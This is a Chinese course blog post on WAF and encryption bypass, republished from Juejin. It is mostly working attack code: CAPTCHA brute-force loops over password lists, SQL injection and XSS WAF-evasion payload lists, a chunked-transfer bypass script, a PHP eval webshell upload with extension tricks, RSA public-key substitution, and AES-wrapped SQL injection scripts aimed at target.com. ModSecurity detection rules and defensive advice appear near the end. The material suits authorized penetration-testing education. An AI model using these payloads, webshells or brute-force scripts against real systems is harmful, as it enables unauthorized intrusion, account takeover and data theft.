WAF绕过与加密绕过进阶实战

文章来源声明: 原文作者:江华森; 来源站点:掘金; 原文链接:https://juejin.cn/post/7696060477453762575; 本文基于上述来源整理/加工,觅优补充点评,仅供技术学习交流。版权归原作者所有。
觅优短评

文章实战性强,覆盖从验证码到前端加密的多类绕过手法,适合安全从业者与Web开发者理解攻击路径,从而完善WAF规则与纵深防御。

本文目录
WAF绕过与加密绕过进阶实战 --------------

马哥教育网络安全课程实战博客 · 第09篇 对应课程章节:第20章 Web安全,绕过验证码、WAF绕过、加密绕过等进阶知识 实验环境:4台Ubuntu 24.04服务器,攻击机 113.47.1.165


一、验证码绕过技术

验证码(CAPTCHA)是防止自动化攻击的重要手段,但在实际应用中存在多种绕过方式。

1.1 验证码识别 - OCR技术

使用OCR(光学字符识别)技术自动识别简单验证码。

# captcha_ocr.py - 使用pytesseract识别验证码
import pytesseract
from PIL import Image
import requests

def recognize_captcha(image_url, cookies=None):
    """下载并识别验证码"""
    # 下载验证码图片
    response = requests.get(image_url, cookies=cookies)
    
    # 保存图片
    with open('captcha.png', 'wb') as f:
        f.write(response.content)
    
    # 打开图片
    img = Image.open('captcha.png')
    
    # 图像预处理
    img = img.convert('L')  # 转灰度
    img = img.point(lambda x: 0 if x < 128 else 255)  # 二值化
    
    # OCR识别
    result = pytesseract.image_to_string(
        img,
        config='--psm 7 -c tessedit_char_whitelist=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    )
    return result.strip()

# 使用示例
captcha = recognize_captcha('http://target.com/captcha.php')
print(f"识别结果: {captcha}")

1.2 验证码识别 - 机器学习

对于复杂验证码,使用深度学习模型进行识别。

# captcha_ml.py - 使用CNN模型识别验证码
import numpy as np
from PIL import Image
import tensorflow as tf
from tensorflow import keras

# 构建CNN模型识别4位字符验证码
def build_model(char_num=4, char_set=36):
    """构建验证码识别模型"""
    model = keras.Sequential([
        keras.layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 160, 1)),
        keras.layers.MaxPooling2D((2, 2)),
        keras.layers.Conv2D(64, (3, 3), activation='relu'),
        keras.layers.MaxPooling2D((2, 2)),
        keras.layers.Conv2D(64, (3, 3), activation='relu'),
        keras.layers.Flatten(),
        keras.layers.Dense(64, activation='relu'),
        # 4个输出头,每个输出一个字符
        keras.layers.Dense(char_num * char_set, activation='softmax'),
    ])
    model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])
    return model

# 使用训练好的模型
def predict_captcha(image_path, model):
    img = Image.open(image_path).convert('L').resize((160, 60))
    img_array = np.array(img).reshape(1, 60, 160, 1) / 255.0
    prediction = model.predict(img_array)
    # 解码预测结果
    chars = '0123456789abcdefghijklmnopqrstuvwxyz'
    result = ''
    for i in range(4):
        char_idx = np.argmax(prediction[0][i*36:(i+1)*36])
        result += chars[char_idx]
    return result

1.3 验证码逻辑绕过

# captcha_bypass.py - 验证码逻辑漏洞绕过

# 1. 验证码复用 - 验证通过后不删除Session中的验证码
# 同一个验证码可以多次使用
def exploit_captcha_reuse(target_url, login_url):
    session = requests.Session()
    # 获取一次验证码
    captcha = recognize_captcha(f"{target_url}/captcha.php", session.cookies)
    
    # 使用同一验证码多次尝试
    for password in open('passwords.txt'):
        data = {
            'username': 'admin',
            'password': password.strip(),
            'captcha': captcha  # 复用验证码
        }
        r = session.post(login_url, data=data)
        if '登录成功' in r.text:
            print(f"[+] 密码: {password.strip()}")
            break

# 2. 验证码置空 - 验证码参数为空时跳过验证
def exploit_captcha_empty(login_url):
    for password in open('passwords.txt'):
        data = {
            'username': 'admin',
            'password': password.strip(),
            'captcha': ''  # 空验证码
        }
        r = requests.post(login_url, data=data)
        if 'success' in r.text:
            print(f"[+] 密码: {password.strip()}")
            break

# 3. 验证码绕过 - 修改请求方法
# GET请求不验证验证码,POST验证
# 将POST请求改为GET
# 4. 验证码前端验证 - 验证码仅在前端JS验证
# 直接发送请求不带验证码

1.4 人工打码平台

# 人工打码平台接口示例
import requests

def human_captcha_solve(image_path, platform='dddd'):
    """调用人工打码平台识别验证码"""
    with open(image_path, 'rb') as f:
        image_data = f.read()
    
    import base64
    image_b64 = base64.b64encode(image_data).decode()
    
    # 调用打码平台API
    response = requests.post('https://api.captcha-platform.com/recognize', 
        json={
            'image': image_b64,
            'type': 'common'
        },
        headers={'Authorization': 'your-api-key'}
    )
    return response.json()['result']


二、SQL注入WAF绕过

2.1 编码绕过

-- URL编码绕过
-- 原始: UNION SELECT
-- URL编码: %55%4e%49%4f%4e%20%53%45%4c%45%43%54
-- 双重URL编码: %2555%254e%2549%254f%254e

-- 十六进制编码绕过
-- 原始: SELECT * FROM users
-- 十六进制: 0x53454c454354202a2046524f4d207573657273

-- Unicode编码绕过
-- 原始: UNION SELECT
-- Unicode: %u0055%u004e%u0049%u004f%u004e %u0053%u0045%u004c%u0045%u0043%u0054

-- Base64编码绕过(MySQL)
-- 原始: SELECT version()
-- 使用from_base64: SELECT from_base64('U0VMRUNUIHZlcnNpb24oKQ==')

2.2 注释绕过

-- 内联注释绕过(MySQL特有)
-- 原始: UNION SELECT
-- 内联注释: /*!50000UNION*/ /*!50000SELECT*/
-- 或: UNI/**/ON SEL/**/ECT

-- 条件注释绕过
-- /*!50000UNION*/ 表示MySQL 5.00以上版本执行

-- 注释符绕过
-- 原始: ' OR 1=1 --
-- 变形: ' OR 1=1 -- -
-- 变形: ' OR 1=1 #
-- 变形: ' OR 1=1 /*comment*/

-- 换行注释绕过
-- 使用%0a换行符
' OR 1=1--%0a

2.3 等价函数绕过

-- WAF过滤了某些关键字,使用等价函数

-- 过滤UNION SELECT
UNION DISTINCT SELECT
UNION ALL SELECT
UNION SELECT DISTINCT

-- 过滤了AND/OR
AND -> && 
OR -> ||
NOT -> !

-- 过滤了=号
= -> LIKE
= -> BETWEEN
= -> IN
= -> RLIKE
= -> REGEXP

-- 过滤了空格
空格 -> /**/
空格 -> %0a (换行)
空格 -> %09 (Tab)
空格 -> %0b (垂直Tab)
空格 -> %0c (换页)
空格 -> +
空格 -> ()  -- 括号代替空格

-- 过滤了逗号
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR(str,1,1) -> SUBSTR(str FROM 1 FOR 1)

-- 等价函数
ASCII() -> ORD()
MID() -> SUBSTR() -> SUBSTRING()
CONCAT() -> CONCAT_WS()
SLEEP() -> BENCHMARK()

2.4 HTTP参数污染(HPP)

-- HTTP参数污染绕过
-- WAF只检查单个参数,数据库使用最后一个参数

GET /page.php?id=1&id=UNION+SELECT+1,2,3 HTTP/1.1

-- 不同Web服务器参数处理差异:
-- Apache/PHP: 使用最后一个 -> id=UNION SELECT 1,2,3
-- Tomcat/JSP: 使用第一个 -> id=1
-- IIS/ASP: 逗号拼接 -> id=1,UNION SELECT 1,2,3

2.5 Chunked编码绕过

# chunked_bypass.py - 使用Chunked传输编码绕过WAF
import socket

def chunked_request(host, port, path, payload):
    """使用Chunked编码发送请求"""
    # 将payload分成小块
    chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
    
    # 构建Chunked请求体
    body = ''
    for chunk in chunks:
        body += f'{len(chunk):x}\r\n{chunk}\r\n'
    body += '0\r\n\r\n'
    
    request = f"POST {path} HTTP/1.1\r\n"
    request += f"Host: {host}\r\n"
    request += "Transfer-Encoding: chunked\r\n"
    request += f"Content-Length: {len(body)}\r\n"
    request += "Connection: close\r\n\r\n"
    request += body
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send(request.encode())
    response = sock.recv(4096)
    sock.close()
    return response

# 使用示例
chunked_request('target.com', 80, '/search.php', 
    'id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM users')


三、XSS WAF绕过

3.1 编码绕过

// HTML实体编码绕过
<img src=x onerror="&#x61;lert(1)">
<img src=x onerror="&#97;lert(1)">

// JavaScript编码绕过
<script>eval('\x61\x6c\x65\x72\x74(1)')</script>
<script>eval('\u0061\u006c\u0065\u0072\u0074(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>

// String.fromCharCode绕过
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

// 混合编码
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

3.2 事件处理器变体

<!-- WAF过滤了onerror,使用其他事件 -->
<img src=x onmouseover=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<marquee onstart=alert(1)>
<details ontoggle=alert(1) open>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<video src=x onloadeddata=alert(1)>
<audio src=x onerror=alert(1)>

<!-- 组合事件 -->
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>

<!-- 事件处理器大小写混合 -->
<img src=x OnErRoR=alert(1)>
<img src=x oNeRrOr=alert(1)>

3.3 标签变体

<!-- SVG标签 -->
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>

<!-- Math标签 -->
<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>

<!-- 使用不常见标签 -->
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss id=x onfocus=alert(1) tabindex=1 style=position:fixed;top:0>

<!-- 模板标签 -->
<template><svg onload=alert(1)></template>

<!-- noscript标签(当JS禁用时执行) -->
<noscript><img src=x onerror=alert(1)></noscript>


四、文件上传WAF绕过

4.1 Content-Type绕过

# content_type_bypass.py - 修改Content-Type绕过WAF
import requests

# WAF检查Content-Type是否为图片
# 修改为合法图片类型但内容为PHP
files = {
    'file': ('shell.php', '<?php @eval($_POST["cmd"]); ?>', 'image/jpeg')
}
r = requests.post('http://target.com/upload.php', files=files)

4.2 Boundary manipulation

-- 修改multipart boundary绕过WAF检测
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

-- 修改boundary长度
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW--

-- 使用不同格式的boundary
Content-Type: multipart/form-data; boundary=   ----WebKitFormBoundary

-- 双重Content-Type
Content-Type: multipart/form-data; boundary=A; boundary=B

# boundary_bypass.py - 手动构造请求绕过WAF
import socket

def upload_bypass(host, port, path, filename, content):
    """手动构造multipart请求绕过WAF"""
    boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
    
    # 在boundary前添加大量空格
    body = f"--{boundary}\r\n"
    body += f"Content-Disposition: form-data; name=\"file\"; filename=\"{filename}\"\r\n"
    body += "Content-Type: application/octet-stream\r\n\r\n"
    body += content + "\r\n"
    body += f"--{boundary}--\r\n"
    
    request = f"POST {path} HTTP/1.1\r\n"
    request += f"Host: {host}\r\n"
    request += f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
    request += f"Content-Length: {len(body)}\r\n\r\n"
    request += body
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send(request.encode())
    response = sock.recv(4096)
    sock.close()
    return response

4.3 文件名绕过

# 文件名变形绕过
shell.php          -> shell.pHP        # 大小写
shell.php          -> shell.php5       # PHP5扩展
shell.php          -> shell.phtml      # PHTML扩展
shell.php          -> shell.pht        # PHT扩展
shell.php          -> shell.php%00.jpg # 截断
shell.php          -> shell.php%20     # 空格
shell.php          -> shell.php.       # 点号
shell.php          -> shell.php/       # 斜杠
shell.php          -> shell.php::$DATA # NTFS ADS


五、前端加密绕过

5.1 常见前端加密分析

现代Web应用常在前端对数据进行加密后传输,给安全测试带来挑战。

// 常见前端加密方式

// AES加密
var encrypted = CryptoJS.AES.encrypt(
    JSON.stringify(data), 
    CryptoJS.enc.Utf8.parse('16bytesecretkey!'), 
    {mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7}
).toString();

// RSA加密
var encrypt = new JSEncrypt();
encrypt.setPublicKey(publicKey);
var encrypted = encrypt.encrypt(data);

// DES加密
var encrypted = CryptoJS.DES.encrypt(
    data, 
    CryptoJS.enc.Utf8.parse('deskey!!'), 
    {mode: CryptoJS.mode.ECB}
).toString();

// Base64编码(非加密,但常配合使用)
var encoded = btoa(JSON.stringify(data));

// MD5哈希
var hashed = CryptoJS.MD5(data).toString();

// 自定义加密 - 混淆的JS函数
var encrypted = _0x1234['encrypt'](data, _0x5678);

5.2 JavaScript逆向工程

前端加密逆向分析流程:

  1. 在浏览器DevTools中搜索加密关键字(encrypt, AES, RSA, CryptoJS, JSEncrypt)
  2. 在加密函数处设置断点,触发请求,查看参数
  3. 分析加密算法和密钥(可能是硬编码或动态获取)
  4. 在Burp Suite中处理加密(编写插件自动加解密)
// 在浏览器控制台执行
// 1. 找到加密函数
console.log(window.encrypt);  // 查看全局加密函数

// 2. 使用加密函数加密payload
var payload = {"username": "admin", "password": "test123"};
var encrypted = encrypt(JSON.stringify(payload));
console.log("加密结果: " + encrypted);

// 3. 使用加密结果发送请求
fetch('/api/login', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({data: encrypted})
});

5.3 常见加密库识别

// 识别常见加密库

// CryptoJS - 最常见的前端加密库
// 特征: CryptoJS.AES.encrypt, CryptoJS.MD5, CryptoJS.SHA256
if (typeof CryptoJS !== 'undefined') {
    console.log("使用CryptoJS库");
}

// JSEncrypt - RSA加密库
// 特征: JSEncrypt, setPublicKey, setPrivateKey
if (typeof JSEncrypt !== 'undefined') {
    console.log("使用JSEncrypt库");
}

// forge - 功能更全的加密库
// 特征: forge.cipher, forge.pki, forge.util
if (typeof forge !== 'undefined') {
    console.log("使用forge库");
}

// sjcl - Stanford JavaScript Crypto Library
// 特征: sjcl.encrypt, sjcl.json
if (typeof sjcl !== 'undefined') {
    console.log("使用sjcl库");
}

// 自定义加密 - 混淆代码
// 特征: _0x开头的变量名, eval, atob, String.fromCharCode
// 需要反混淆后分析

5.4 Burp Suite处理加密Payload

Burp Suite处理加密的两种方案:

方案1: Burp Suite + 浏览器代理

  1. 浏览器正常加密请求
  2. Burp Suite拦截加密后的请求
  3. 在Burp中修改密文(需要知道加密方式)
  4. 适用于对称加密且密钥已知的情况

方案2: Burp Suite插件自动加解密

  1. 编写Burp插件,在请求前解密,修改后重新加密
  2. 适用于已知加密算法和密钥的情况
# burp_encrypt_handler.py - AES ECB模式加解密示例
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

def aes_decrypt(ciphertext_b64, key):
    """AES ECB解密"""
    key_bytes = key.encode('utf-8')
    cipher = AES.new(key_bytes, AES.MODE_ECB)
    ciphertext = base64.b64decode(ciphertext_b64)
    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
    return plaintext.decode('utf-8')

def aes_encrypt(plaintext, key):
    """AES ECB加密"""
    key_bytes = key.encode('utf-8')
    cipher = AES.new(key_bytes, AES.MODE_ECB)
    padded = pad(plaintext.encode('utf-8'), AES.block_size)
    ciphertext = cipher.encrypt(padded)
    return base64.b64encode(ciphertext).decode('utf-8')

# 使用示例
key = '16bytesecretkey!'
original = '{"username":"admin","password":"123456"}'
encrypted = aes_encrypt(original, key)
print(f"加密: {encrypted}")
decrypted = aes_decrypt(encrypted, key)
print(f"解密: {decrypted}")

# 修改明文后重新加密
import json
data = json.loads(decrypted)
data['password'] = "' OR 1=1 -- "  # 注入payload
modified = json.dumps(data, separators=(',', ':'))
re_encrypted = aes_encrypt(modified, key)
print(f"修改后加密: {re_encrypted}")

5.5 RSA加密绕过

RSA前端加密的常见问题和绕过方式:

  1. 公钥硬编码在前端JS中:可以提取公钥在本地加密,但无法解密(没有私钥)
  2. 服务端返回公钥:拦截响应,替换公钥为自己生成的公钥,使用自己的私钥解密
  3. RSA + AES混合加密:RSA加密AES密钥,AES加密数据,需要分别处理
# rsa_bypass.py - RSA前端加密绕过
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import base64

# 方案: 替换公钥
def generate_keypair():
    """生成自己的RSA密钥对"""
    key = RSA.generate(2048)
    private_key = key.export_key()
    public_key = key.publickey().export_key()
    return private_key, public_key

def decrypt_with_private(ciphertext_b64, private_key_pem):
    """使用自己的私钥解密"""
    key = RSA.import_key(private_key_pem)
    cipher = PKCS1_v1_5.new(key)
    ciphertext = base64.b64decode(ciphertext_b64)
    plaintext = cipher.decrypt(ciphertext, None)
    return plaintext.decode('utf-8')

# 在Burp Suite中:
# 1. 拦截服务端返回公钥的响应
# 2. 替换公钥为自己生成的公钥
# 3. 前端使用我们的公钥加密
# 4. 拦截加密请求,用我们的私钥解密
# 5. 修改明文,用原始公钥重新加密


六、ModSecurity实战

6.1 ModSecurity部署

# Ubuntu 24.04 安装ModSecurity
sudo apt update
sudo apt install libapache2-mod-security2

# 启用ModSecurity
sudo a2enmod security2

# 配置ModSecurity
sudo cp /etc/modsecurity/modsecurity.conf-recommended \
        /etc/modsecurity/modsecurity.conf

# 启用检测模式(DetectionOnly)或阻断模式(On)
# 编辑 /etc/modsecurity/modsecurity.conf
# SecRuleEngine On  # 阻断模式
# SecRuleEngine DetectionOnly  # 仅检测模式

# 安装OWASP Core Rule Set (CRS)
cd /usr/share/modsecurity-crs
sudo git clone https://github.com/coreruleset/coreruleset.git
sudo mv coreruleset /usr/share/modsecurity-crs/

# 启用CRS规则
# 编辑 /etc/apache2/mods-enabled/security2.conf
# IncludeOptional /usr/share/modsecurity-crs/coreruleset/crs-setup.conf
# IncludeOptional /usr/share/modsecurity-crs/coreruleset/rules/*.conf

# 重启Apache
sudo systemctl restart apache2

6.2 ModSecurity规则测试

# 自定义ModSecurity规则

# 规则1: 阻止SQL注入
SecRule ARGS "(?i:(union|select|insert|delete|update|drop|alter))" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"

# 规则2: 阻止XSS
SecRule ARGS "(?i:(<script|onerror|onload|javascript:))" \
    "id:1002,phase:2,deny,status:403,msg:'XSS Detected'"

# 规则3: 阻止路径穿越
SecRule ARGS "(?i:(\.\./|\.\.\\|%2e%2e/))" \
    "id:1003,phase:2,deny,status:403,msg:'Path Traversal Detected'"

# 规则4: 阻止命令注入
SecRule ARGS "(?i:(;|&|\||`|\$\(|\bcat\b|\bls\b|\bid\b|\bwhoami\b))" \
    "id:1004,phase:2,deny,status:403,msg:'Command Injection Detected'"

# 测试ModSecurity规则

# 测试SQL注入检测
curl "http://localhost/search.php?q=1 UNION SELECT * FROM users"
# 预期: 403 Forbidden

# 测试XSS检测
curl "http://localhost/search.php?q=<script>alert(1)</script>"
# 预期: 403 Forbidden

# 查看ModSecurity日志
sudo tail -f /var/log/apache2/modsec_audit.log

6.3 WAF绕过测试流程

# waf_bypass_test.py - 系统化WAF绕过测试
import requests
import time

class WAFBypassTester:
    def __init__(self, target_url, param_name):
        self.target_url = target_url
        self.param_name = param_name
        self.results = []
    
    def test_payload(self, payload, description):
        """测试单个payload是否被WAF拦截"""
        params = {self.param_name: payload}
        r = requests.get(self.target_url, params=params)
        
        blocked = r.status_code == 403 or 'blocked' in r.text.lower()
        result = {
            'description': description,
            'payload': payload,
            'blocked': blocked,
            'status_code': r.status_code
        }
        self.results.append(result)
        
        status = "已拦截" if blocked else "未拦截"
        print(f"[{status}] {description}: {payload[:50]}")
        time.sleep(0.5)  # 避免请求过快
        return not blocked
    
    def test_sqli_bypass(self):
        """测试SQL注入绕过"""
        payloads = [
            ("原始Payload", "1 UNION SELECT 1,2,3"),
            ("内联注释", "1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3"),
            ("大小写混合", "1 UnIoN SeLeCt 1,2,3"),
            ("注释分隔", "1 UN/**/ION SE/**/LECT 1,2,3"),
            ("换行符", "1%0aUNION%0aSELECT%0a1,2,3"),
            ("URL编码", "1%20%55NION%20%53ELECT%201,2,3"),
            ("等价函数", "1 UNION DISTINCT SELECT 1,2,3"),
        ]
        
        print("=== SQL注入WAF绕过测试 ===")
        for desc, payload in payloads:
            self.test_payload(payload, desc)

# 使用示例
tester = WAFBypassTester('http://target.com/search.php', 'q')
tester.test_sqli_bypass()


七、综合实战案例

7.1 加密+WAF双重绕过

# combined_bypass.py - 加密+WAF双重绕过
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
import json

def combined_bypass(target_url, aes_key):
    """绕过前端AES加密和WAF"""
    
    # 原始正常请求
    normal_data = {"username": "admin", "password": "123456"}
    
    # 注入payload
    sqli_data = {"username": "admin' UNION SELECT 1,2,3-- -", "password": "123456"}
    
    # AES加密
    def encrypt(data):
        key_bytes = aes_key.encode('utf-8')
        cipher = AES.new(key_bytes, AES.MODE_ECB)
        padded = pad(json.dumps(data).encode('utf-8'), AES.block_size)
        return base64.b64encode(cipher.encrypt(padded)).decode()
    
    # 发送加密请求
    encrypted = encrypt(sqli_data)
    response = requests.post(target_url, json={"data": encrypted})
    
    return response

# 流程说明:
# 1. 分析前端JS找到AES加密函数和密钥
# 2. 在本地构造注入payload
# 3. 使用相同AES算法加密payload
# 4. 发送加密后的payload到服务器
# 5. 服务器解密后执行SQL查询
# 6. WAF检查的是加密后的数据,无法检测注入

7.2 实际绕过案例

某系统使用AES加密请求体 + ModSecurity WAF的绕过步骤:

  1. 分析前端JS,发现使用CryptoJS.AES.encrypt
  2. 提取AES密钥(硬编码在JS中)
  3. 在本地使用相同密钥加密SQL注入payload
  4. WAF只检查加密后的密文,无法识别注入
  5. 服务器解密后执行SQL,注入成功
# real_world_bypass.py - 真实场景绕过示例

# 1. 提取的AES密钥
aes_key = '1234567890abcdef'  # 从JS中提取

# 2. 构造注入payload
payloads = [
    "admin' OR '1'='1",
    "admin' UNION SELECT 1,2,3,4,5-- -",
    "admin' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information.tables GROUP BY x)a)-- -",
]

# 3. 加密并发送
for payload in payloads:
    data = {"username": payload, "password": "test"}
    encrypted = aes_encrypt(json.dumps(data), aes_key)
    
    # 4. 发送请求
    r = requests.post('https://target.com/api/login', 
                      json={"enc_data": encrypted})
    print(f"Payload: {payload}")
    print(f"Response: {r.status_code} - {r.text[:100]}")


八、总结

验证码绕过要点

  1. OCR识别:适用于简单文本验证码
  2. 机器学习:适用于复杂验证码,需要训练模型
  3. 逻辑绕过:验证码复用、空值绕过、前端验证
  4. 人工打码:适用于高难度验证码

WAF绕过要点

绕过类型关键技术适用场景
编码绕过URL/Unicode/Base64编码SQL注入、XSS
注释绕过内联注释、条件注释SQL注入
等价函数替换关键字和函数SQL注入
HPP参数污染SQL注入
Chunked分块传输编码通用
标签变体SVG/事件处理器XSS
Boundary修改分隔符文件上传

加密绕过要点

  1. 分析前端JS:定位加密函数和密钥
  2. 提取密钥:硬编码密钥、动态获取密钥
  3. 本地加解密:使用相同算法处理payload
  4. Burp Suite配合:插件自动加解密
  5. RSA特殊处理:公钥替换技术

安全建议

  • WAF不能作为唯一的安全防护,需要配合安全编码
  • 前端加密不能替代传输层安全(HTTPS)
  • 验证码需要服务端验证且一次性使用
  • 定期更新WAF规则,跟踪新绕过技术
  • 纵深防御:WAF + 安全编码 + 输入验证 + 输出编码

免责声明:本文内容仅供安全学习和授权测试使用。未经授权对他人系统进行测试属于违法行为。请在合法授权范围内进行所有安全测试。